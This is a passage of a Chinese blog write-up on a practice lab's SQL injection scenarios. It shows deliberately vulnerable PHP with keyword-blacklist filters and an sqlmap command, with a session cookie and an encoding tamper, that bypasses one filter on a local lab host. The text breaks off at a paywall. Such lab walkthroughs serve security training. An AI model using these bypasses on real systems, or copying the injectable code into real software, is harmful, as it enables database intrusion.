DVWA-WooYun SQL Injection

最新推荐文章于 2025-02-27 14:21:14 发布

zrools

最新推荐文章于 2025-02-27 14:21:14 发布

阅读量3.2k

点赞数 1

分类专栏：漏洞演练系统文章标签： wooyun dvwa 靶场漏洞演练 SQL注入

本文链接：https://blog.youkuaiyun.com/zrools/article/details/50638715

版权

这篇博客详细介绍了在乌云靶场中遇到的各种SQL Injection（SQL注入）漏洞，包括Sqli QUERY_STRING、Sqli filter、Sqli Mysql、No Comma Sqli等场景，通过实例展示了如何利用sqlmap等工具进行漏洞利用和绕过防御机制的方法。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

乌云靶场 - SQL Injection

Sqli QUERY_STRING

WooYun-2014-61361 Source

inject_check(strtolower($_SERVER['QUERY_STRING']));
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";

......

function inject_check($str) {
    //防注入函数开始
    $check=preg_match('/select|order|insert|update|eval|document|delete|injection|jection|link|and|or|from|union|into|load_file|outfile|<script>/',$str);
    if($check){
        echo "<script>alert('Filtered!!!');window.history.go(-1);</script>";
        exit();
    }else{
        return $str;
    }
}

将提交内容转成小写再进行检测，$_SERVER['QUERY_STRING']是获取?后面的值，且并不会自动转换url编码，将提交的内容进行URL编码提交即可

sqlmap使用（带上cookie）

sqlmap -u 'http://192.168.16.82:81/vulnerabilities/WooYun-2014-61361/?id=1&Submit=Submit#' --cookie='PHPSESSID=31onlljpiqovge7adlsulis9m4; security=low' --tamper charencode.py --dbs

这里写图片描述

Sqli filter #02-Once

WooYun-2014-53384 Source

$id = $_GET['id'];
$id = tsFilter($id);
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

......

function tsFilter($value){
   
    $value = trim($value);
    //定义不允许提交的SQl命令和关键字
    $words = array();
    $words[] = "add ";
    $words[] = "and ";
    $words[] = "count ";
    $words[] = "order ";
    $words[] = "table ";
    $words[] = "by ";
    $words[] = "create ";
    $words[] = "delete ";
    $words[] = "drop ";
    $words[] = "from ";
    $words[] = "grant ";
    $words[] = "insert ";
    $words[] = "select ";
    $words[] = "truncate ";
    $words[] = "update "</

最低0.47元/天解锁文章